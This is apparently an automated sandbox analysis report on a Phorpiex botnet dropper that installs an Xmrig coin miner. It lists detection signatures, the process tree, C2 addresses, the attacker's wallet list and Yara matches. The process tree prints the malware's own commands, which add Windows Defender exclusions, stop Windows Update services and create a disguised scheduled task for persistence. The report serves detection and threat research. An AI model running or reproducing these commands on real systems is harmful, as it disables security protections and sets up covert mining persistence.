Edit tour

Windows Analysis Report
Us051y7j25.exe

Overview

General Information

Sample name:	Us051y7j25.exe renamed because original name is a hash value
Original sample name:	fdbf0c19ebcafcf5e4295edc9e4a37836ba580b9a4d63b2a9ccdf8418ed5fe84.exe
Analysis ID:	1542687
MD5:	82894caeb7e149bb38d344fbc2a821d9
SHA1:	bf86bd33666e58f291bc9135a95f67a7483cde52
SHA256:	fdbf0c19ebcafcf5e4295edc9e4a37836ba580b9a4d63b2a9ccdf8418ed5fe84
Tags:	CoinMinerexeuser-JAMESWT_MHT
Infos:

Detection

Phorpiex, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Stop multiple services

Suricata IDS alerts for network traffic

Yara detected Phorpiex

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Changes security center settings (notifications, updates, antivirus, firewall)

Contains functionality to check if Internet connection is working

Contains functionality to detect sleep reduction / modifications

Detected Stratum mining protocol

Drops PE files with a suspicious file extension

Drops executables to the windows directory (C:\Windows) and starts them

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking mutex)

Found hidden mapped module (file has been removed from disk)

Found strings related to Crypto-Mining

Hides that the sample has been downloaded from the Internet (zone.identifier)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Stops critical windows services

Suspicious powershell command line found

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (may stop execution after accessing registry keys)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

Us051y7j25.exe (PID: 5348 cmdline: "C:\Users\user\Desktop\Us051y7j25.exe" MD5: 82894CAEB7E149BB38D344FBC2A821D9)

21324.scr (PID: 4416 cmdline: "C:\Users\user\AppData\Local\Temp\21324.scr" /S MD5: 06560B5E92D704395BC6DAE58BC7E794)

sysppvrdnvs.exe (PID: 1588 cmdline: C:\Windows\sysppvrdnvs.exe MD5: 06560B5E92D704395BC6DAE58BC7E794)

cmd.exe (PID: 3552 cmdline: "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2052 cmdline: powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 6212 cmdline: "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6488 cmdline: sc stop UsoSvc MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

sc.exe (PID: 1220 cmdline: sc stop WaaSMedicSvc MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

sc.exe (PID: 6364 cmdline: sc stop wuauserv MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

sc.exe (PID: 6484 cmdline: sc stop DoSvc MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

sc.exe (PID: 3360 cmdline: sc stop BITS /wait MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

1881231804.exe (PID: 3180 cmdline: C:\Users\user\AppData\Local\Temp\1881231804.exe MD5: CB8420E681F68DB1BAD5ED24E7B22114)

cmd.exe (PID: 6672 cmdline: "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 2812 cmdline: reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 5696 cmdline: "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5224 cmdline: schtasks /delete /f /tn "Windows Upgrade Manager" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

2314627202.exe (PID: 5792 cmdline: C:\Users\user\AppData\Local\Temp\2314627202.exe MD5: 0C37EE292FEC32DBA0420E6C94224E28)

1091722296.exe (PID: 5112 cmdline: C:\Users\user\AppData\Local\Temp\1091722296.exe MD5: 96509AB828867D81C1693B614B22F41D)

1239611256.exe (PID: 2052 cmdline: C:\Users\user\AppData\Local\Temp\1239611256.exe MD5: 13B26B2C7048A92D6A843C1302618FAD)

146916724.exe (PID: 6992 cmdline: C:\Users\user\AppData\Local\Temp\146916724.exe MD5: 5A0D146F7A911E98DA8CC3C6DE8ACABF)

sysppvrdnvs.exe (PID: 4492 cmdline: "C:\Windows\sysppvrdnvs.exe" MD5: 06560B5E92D704395BC6DAE58BC7E794)

powershell.exe (PID: 3184 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

winupsecvmgr.exe (PID: 4044 cmdline: "C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe" MD5: 13B26B2C7048A92D6A843C1302618FAD)

conhost.exe (PID: 7112 cmdline: C:\Windows\System32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

dwm.exe (PID: 6072 cmdline: C:\Windows\System32\dwm.exe MD5: 5C27608411832C5B39BA04E33D53536C)

powershell.exe (PID: 6952 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6432 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

winupsecvmgr.exe (PID: 5352 cmdline: "C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe" MD5: 13B26B2C7048A92D6A843C1302618FAD)

powershell.exe (PID: 5424 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Phorpiex	Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.	No Attribution	https://bin.re/blog/phorpiex/ https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/ https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html https://research.checkpoint.com/2019/phorpiex-breakdown/ https://research.checkpoint.com/2020/phorpiex-arsenal-part-i/	https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: Phorpiex

{"C2 url": ["http://185.215.113.66/", "http://91.202.233.141/"], "Wallet": ["15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC", "1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK", "lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w", "ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp", "zil19delrukejtr306u0s7ludxrwk434jcl6ghpng3", "zncBgwqwqquPLHrM4ozrtr3LPyFuNVemy4v", "cro1xq0gkfldclds7y7fa2x6x25zu7ttnxxkjs66gf", "erd1hwcnscv0tldljl68upajgfqrcrmtznth4n6ee46le43cqpe5tatqw96dnx", "kava1r9xek0h0vkfra44lg3rp07teh9elxg2n6vsdzn", "inj1e2g9nyfjcnvgjpaa3czx2spgf2jx3gp4gk0nl9", "osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3", "one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x", "3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc", "3ESHude8zUHksQg1h6hHmzY79BS36L91Yn", "DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA", "DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe", "t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh", "terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5", "thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur", "tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2", "stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj", "stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0", "sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz", "sys1q0zg3clqajs04p2yhkgf96nf4hmup9mdr8l38u6", "bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2", "bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr", "bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd", "btg1qwg85kf0r3885a82wtld053fy490lm2q2gemgpy", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r", "cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr", "addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg", "nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb", "GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3", "Gcrx8cK7ffKLaPJwiYHQrgi6pFTLbJsBPV", "EQxXrZv7VQpoAA15kJ1XJyXVxT3yQSoNyM", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA", "BKyTYg4eZC9NCzcL8M3hcUmDhCnBJrSScH", "UQAbBKbfkiK3Gjo86zgD3yYO5Njf7zxPTEO4JLqN13ruoGDb"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\21324.scr	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
C:\Windows\sysppvrdnvs.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4cb268:$a1: mining.set_target 0x4c6a48:$a2: XMRIG_HOSTNAME 0x4c8540:$a3: Usage: xmrig [OPTIONS] 0x4c6a20:$a4: XMRIG_VERSION
C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4d1241:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4d17a0:$s1: %s/%s (Windows NT %lu.%lu 0x4d1fc8:$s3: \\.\WinRing0_ 0x4ca4c8:$s4: pool_wallet 0x4c62d0:$s5: cryptonight 0x4c62e0:$s5: cryptonight 0x4c62f0:$s5: cryptonight 0x4c6300:$s5: cryptonight 0x4c6318:$s5: cryptonight 0x4c6328:$s5: cryptonight 0x4c6338:$s5: cryptonight 0x4c6350:$s5: cryptonight 0x4c6360:$s5: cryptonight 0x4c6378:$s5: cryptonight 0x4c6390:$s5: cryptonight 0x4c63a0:$s5: cryptonight 0x4c63b0:$s5: cryptonight 0x4c63c0:$s5: cryptonight 0x4c63d8:$s5: cryptonight 0x4c63f0:$s5: cryptonight 0x4c6400:$s5: cryptonight 0x4c6410:$s5: cryptonight
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000028.00000002.3515022371.000002640F711000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4f0588:$a1: mining.set_target 0x4ebd68:$a2: XMRIG_HOSTNAME 0x4ed860:$a3: Usage: xmrig [OPTIONS] 0x4ebd40:$a4: XMRIG_VERSION
Process Memory Space: 21324.scr PID: 4416	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysppvrdnvs.exe PID: 1588	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysppvrdnvs.exe PID: 4492	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: winupsecvmgr.exe PID: 4044	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: winupsecvmgr.exe PID: 4044	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x189050:$a1: mining.set_target 0x185c12:$a2: XMRIG_HOSTNAME 0x1867c7:$a3: Usage: xmrig [OPTIONS] 0x185bf3:$a4: XMRIG_VERSION
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.sysppvrdnvs.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
3.2.21324.scr.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
4.0.sysppvrdnvs.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
18.0.sysppvrdnvs.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
3.0.21324.scr.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
18.2.sysppvrdnvs.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4ceb48:$a1: mining.set_target 0x4ca328:$a2: XMRIG_HOSTNAME 0x4cbe20:$a3: Usage: xmrig [OPTIONS] 0x4ca300:$a4: XMRIG_VERSION
34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4d4b21:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4d5080:$s1: %s/%s (Windows NT %lu.%lu 0x4d58a8:$s3: \\.\WinRing0_ 0x4cdda8:$s4: pool_wallet 0x4c9bb0:$s5: cryptonight 0x4c9bc0:$s5: cryptonight 0x4c9bd0:$s5: cryptonight 0x4c9be0:$s5: cryptonight 0x4c9bf8:$s5: cryptonight 0x4c9c08:$s5: cryptonight 0x4c9c18:$s5: cryptonight 0x4c9c30:$s5: cryptonight 0x4c9c40:$s5: cryptonight 0x4c9c58:$s5: cryptonight 0x4c9c70:$s5: cryptonight 0x4c9c80:$s5: cryptonight 0x4c9c90:$s5: cryptonight 0x4c9ca0:$s5: cryptonight 0x4c9cb8:$s5: cryptonight 0x4c9cd0:$s5: cryptonight 0x4c9ce0:$s5: cryptonight 0x4c9cf0:$s5: cryptonight
34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x509d88:$a1: mining.set_target 0x505568:$a2: XMRIG_HOSTNAME 0x507060:$a3: Usage: xmrig [OPTIONS] 0x505540:$a4: XMRIG_VERSION
34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x50fd61:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x5102c0:$s1: %s/%s (Windows NT %lu.%lu 0x510ae8:$s3: \\.\WinRing0_ 0x508fe8:$s4: pool_wallet 0x504df0:$s5: cryptonight 0x504e00:$s5: cryptonight 0x504e10:$s5: cryptonight 0x504e20:$s5: cryptonight 0x504e38:$s5: cryptonight 0x504e48:$s5: cryptonight 0x504e58:$s5: cryptonight 0x504e70:$s5: cryptonight 0x504e80:$s5: cryptonight 0x504e98:$s5: cryptonight 0x504eb0:$s5: cryptonight 0x504ec0:$s5: cryptonight 0x504ed0:$s5: cryptonight 0x504ee0:$s5: cryptonight 0x504ef8:$s5: cryptonight 0x504f10:$s5: cryptonight 0x504f20:$s5: cryptonight 0x504f30:$s5: cryptonight
34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4ca268:$a1: mining.set_target 0x4c5a48:$a2: XMRIG_HOSTNAME 0x4c7540:$a3: Usage: xmrig [OPTIONS] 0x4c5a20:$a4: XMRIG_VERSION
34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4d0241:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4d07a0:$s1: %s/%s (Windows NT %lu.%lu 0x4d0fc8:$s3: \\.\WinRing0_ 0x4c94c8:$s4: pool_wallet 0x4c52d0:$s5: cryptonight 0x4c52e0:$s5: cryptonight 0x4c52f0:$s5: cryptonight 0x4c5300:$s5: cryptonight 0x4c5318:$s5: cryptonight 0x4c5328:$s5: cryptonight 0x4c5338:$s5: cryptonight 0x4c5350:$s5: cryptonight 0x4c5360:$s5: cryptonight 0x4c5378:$s5: cryptonight 0x4c5390:$s5: cryptonight 0x4c53a0:$s5: cryptonight 0x4c53b0:$s5: cryptonight 0x4c53c0:$s5: cryptonight 0x4c53d8:$s5: cryptonight 0x4c53f0:$s5: cryptonight 0x4c5400:$s5: cryptonight 0x4c5410:$s5: cryptonight
34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4cb268:$a1: mining.set_target 0x4c6a48:$a2: XMRIG_HOSTNAME 0x4c8540:$a3: Usage: xmrig [OPTIONS] 0x4c6a20:$a4: XMRIG_VERSION
34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4d1241:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4d17a0:$s1: %s/%s (Windows NT %lu.%lu 0x4d1fc8:$s3: \\.\WinRing0_ 0x4ca4c8:$s4: pool_wallet 0x4c62d0:$s5: cryptonight 0x4c62e0:$s5: cryptonight 0x4c62f0:$s5: cryptonight 0x4c6300:$s5: cryptonight 0x4c6318:$s5: cryptonight 0x4c6328:$s5: cryptonight 0x4c6338:$s5: cryptonight 0x4c6350:$s5: cryptonight 0x4c6360:$s5: cryptonight 0x4c6378:$s5: cryptonight 0x4c6390:$s5: cryptonight 0x4c63a0:$s5: cryptonight 0x4c63b0:$s5: cryptonight 0x4c63c0:$s5: cryptonight 0x4c63d8:$s5: cryptonight 0x4c63f0:$s5: cryptonight 0x4c6400:$s5: cryptonight 0x4c6410:$s5: cryptonight
Click to see the 17 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Stop multiple services

Source: Process started

